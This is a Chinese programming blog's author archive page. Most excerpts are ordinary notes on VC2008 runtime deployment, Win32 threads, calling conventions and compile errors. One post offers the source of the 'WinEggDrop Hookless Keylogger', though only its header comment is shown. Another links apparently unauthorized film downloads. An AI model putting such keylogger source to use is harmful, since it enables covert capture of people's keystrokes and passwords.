Author Archives: tunpishuang

About tunpishuang

just 4 fun·····

由于应用程序配置不正确,应用程序未能启动。重新安装应用程序可能会纠正这个问题。

这个比较标题党,关于vc部署的问题很多,以下介绍常碰到最频繁的情况。 首先我们辛辛苦苦的在vs2008上用c写好了代码,准备在其他机子上运行,结果报错: “由于应用程序配置不正确,应用程序未能启动。重新安装应用程序可能会纠正这个问题。” 首先我们来看看vs的版本,vs2008默认的版本是:9.0.21022.8,打了sp1的补丁是 9.0.30729.1。版本号可以通过vs菜单“帮助”-“关于Microsoft Visual Studio”中看到。 (vs2010的版本号是:10.0.30319.1) 我的机子上的vs是打过sp1的补丁,所以vs的版本号是9.0.30729.1。 接下来分两种情况来解决问题。 如果你编译的是debug版本的,进入vs安装目录\vc\redist\ ,会看到有两个目录 Debug_NonRedist 是debug非部署版,x86 是release版。 进入Debug_NonRedist\x86 ,有三个目录,看你的代码用了些什么,如果是只用了c runtime library,使用CRT,用了MFC使用MFC,OpenMP不知道是啥。 ├─Microsoft.VC90.DebugCRT ├─Microsoft.VC90.DebugMFC └─Microsoft.VC90.DebugOpenMP 我用的纯C代码,所以复制Microsoft.VC90.DebugCRT目录下的 Microsoft.VC90.DebugCRT.manifest msvcm90d.dll msvcp90d.dll msvcr90d.dll 这3个dll,后面的d表示debug版本,msvc后面的m,p,r的解释是: msvcr100.dll 面向本机代码的 C 运行库 (CRT)。 使用 C Run-Time Libraries的应用程序。 msvcm100.dll 面向托管代码和混合代码 的 … Continue reading

Tagged | Leave a comment

win32 mfc命名规范

由于模板布局的原因,看起来主题很小,点一下放大镜可以调节到最佳大小。 直接下载:http://www.stanford.edu/class/cs193w/handouts/h04-naming.pdf

Tagged | Leave a comment

C语言Win32多线程简单例子

#include <windows.h>#include <stdio.h>#include <process.h>// Secound Thread functionvoid ThreadProc(void *param); // First threadint main(){     int n;    int i;    int val = 0;    HANDLE handle;     printf(“\t Thread Demo\n”);     printf(“Enter the number of threads : “);    scanf(“%d”,&n);     for(i=0;i<n ;i++)    {        val = i+1;        handle = (HANDLE) _beginthread( ThreadProc,0,&val); // create thread        WaitForSingleObject(handle,INFINITE);     }     return 0;} void ThreadProc(void *param){     int h=*((int*)param);    printf(“%d … Continue reading

Tagged , , | Leave a comment

WinEggDrop Hookless Keylogger 源代码

//**********************************************************************// Version: V1.0// Coder: WinEggDrop// Date Release: NULL// Purpose: Hookless Keylogger// Test PlatForm: Win 2K Pro And Server SP4// Compiled On: LCC 3.0,May Compile On VC++ 6.0(Not Test Yet)// Limitation: More Usage Of System Resource; May Not Work On Win9x// … Continue reading

Tagged | Leave a comment

钢铁侠2下载 TC中字

迅雷下载, 115 网盘下载

Tagged | Leave a comment

cdecl、stdcall、fastcall、declspec

在C语言中,假设我们有这样的一个函数: int function(int a,int b) 调用时只要用result = function(1,2)这样的方式就可以使用这个函数。但是,当高级 语言被编译成计算机可以识别的机器码时,有一个问题就凸现出来:在 CPU中,计算机没 有办法知道一个函数调用需要多少个、什么样的参数,也没有硬件可以保存这些参数。 也就是说,计算机不知道怎么给这个函 数传递参数,传递参数的工作必须由函数调用者 和函数本身来协调。为此,计算机提供了一种被称为栈的数据结构来支持参数传递。 栈是 一种先进后出的数据结构,栈有一个存储区、一个栈顶指针。栈顶指针指向堆栈中 第一个可用的数据项(被称为栈顶)。用户可以在栈顶上方向栈中加入数 据,这个操作 被称为压栈(Push),压栈以后,栈顶自动变成新加入数据项的位置,栈顶指针也随之修 改。用户也可以从堆栈中取走栈顶,称 为弹出栈(pop),弹出栈后,栈顶下的一个元素变 成栈顶,栈顶指针随之修改。 函数调用时,调用者依次把参数压栈,然后调用函 数,函数被调用以后,在堆栈中取得 数据,并进行计算。函数计算结束以后,或者调用者、或者函数本身修改堆栈,使堆栈 恢复原装。 在 参数传递中,有两个很重要的问题必须得到明确说明: 当参数个数多于一个时,按照什么顺序把参数压入堆栈 函数调用后,由谁来把堆栈 恢复原装 在高级语言中,通过函数调用约定来说明这两个问题。常见的调用约定有: stdcall cdecl fastcall thiscall naked call stdcall调用约定 stdcall很多时候被称为pascal调用约定,因为pascal是早期很常见的一种教学用计算机 … Continue reading

Tagged | Leave a comment

android女

继“iPhone女”Kim Yeo-hui走红网络之后,一名利用谷歌Android手机伴奏,展示一流唱功的所谓“Android女”再度引发网友关注。2010年5月25日,网友“Android女”的视频被上传到YouTube网站,并附文字介绍:“继‘iPhone女’之后,‘Android女’出场。” 视频中的女孩利用Android手机的音乐应用软件演奏吉他,同时演唱了美国当红女歌手蕾哈娜的歌曲《Take A Bow》。 视频似乎是“Android女”自己拍摄的,仅短短两天,该视频的点击率已经超过20万。 据悉,“Android女”是韩国人。  玩数码的女人都不敢寂寞,纷纷自曝。接下来估计是IPAD女。

Tagged , | Leave a comment

fatal error RC1004: unexpected end of file found处理方法

编译的时候出现“F:\testprogram\resource.h(72) : fatal error RC1004: unexpected end of file found”的错误提示。 资源编译器错误 RC1004 错误消息 遇到意外的文件结束 此错误是由于文本文件的最后一行中缺少换行符和回车符而造成的。 (我对vs无语了,这个尽然会报错,我还以为是{},()没有配对。)

Tagged | 1 Comment

5月27,蛋不疼,脚疼

27号,到学校交论文,非常折腾的一天就这样开始了。上午和我们一组的同学来到指导老师的教室,检查了之后,说我的合格了,可以回寝室了(寝室距离教室1公里左右),我就回寝室了。屁股还没有坐热花儿,指导老师打电话说:格式不合格,到教室来修改。 然后继续走1公里来到教室,知道是封面格式的原因后,到打印室去重新打印。结果一进打印部,发现10来个繁忙穿梭的人群全是我们专业的,并且大家都因为格式的问题而苦恼,并扬言这只是一个杯具。 板鸭同学来打印部找到我说他在招聘会上发现了一个潜力股,一个安徽大老板准备搞电子商务网站,在校门口等了1个小时左右,终于宝马车来了,把我们接到他的公司。聊到下午3点左右,基本上我已经搞清楚了他的意思了。一看就知道是个代理商,通过各种方式推销产品。听他网络是一个巨大的聚宝盆,所以想搞网络营销,搞仿橡胶国际、七星购物之类的站。他的站:52ctv.com,92cctv.com。俺一看名字:中视购物,我雷到了。山寨得果然厉害,查了一下后台流量统计,基本上都是通过搜索"央视购物"进去的。哥,你懂了吧?他还打算把另外一个站做成"购物街"(另外一个央视的购物栏目)。果然是不山寨不赚钱斯基。这个站没有维护每天平均有600的PV。可见抢关键字也是一门技术。最无奈的就是里面卖的产品了,啥仿辐射手镯,八星八箭的手表。sigh。骗点暴发户还可以。 最后他报实习工资1500,和我上次上班的一样,我突然觉得我是在重复09年最后那几个月的无奈的日子,所以我不打算做。 今天安排好了叫徒弟到我们寝室来玩游戏,我以为是我等她,结果成了她在轻轨站等我,我确实比较不好意思。我们耍到下午6点,觉得这个游戏还不错:SKULLPOGO 难道真的是我没有游戏天赋,我玩的1K多分的记录就被我徒弟给破了,青出于蓝而胜于蓝也。 不过这个游戏的排分榜记录尽然不是用的二进制文件,而是文本文件,所以: 这样就比较好看了。 然后6点送行,又是2个公里的路程,蛋不疼,脚疼。 SKULLPOGO SKULLPOGO

Tagged | Leave a comment

“cout”: 未声明的标识符”

数据结构老师让用vs。尽量不用vc6. 写了个hello,world都出错了!“ error C2065: “cout”: 未声明的标识符”是怎么回事 原来   VS 2005里面是没有 iostream.h 这个文件的,要使用输入输出流只能: #include<iostream> using namespace std;         //我就是把这句少了! via

Tagged | 2 Comments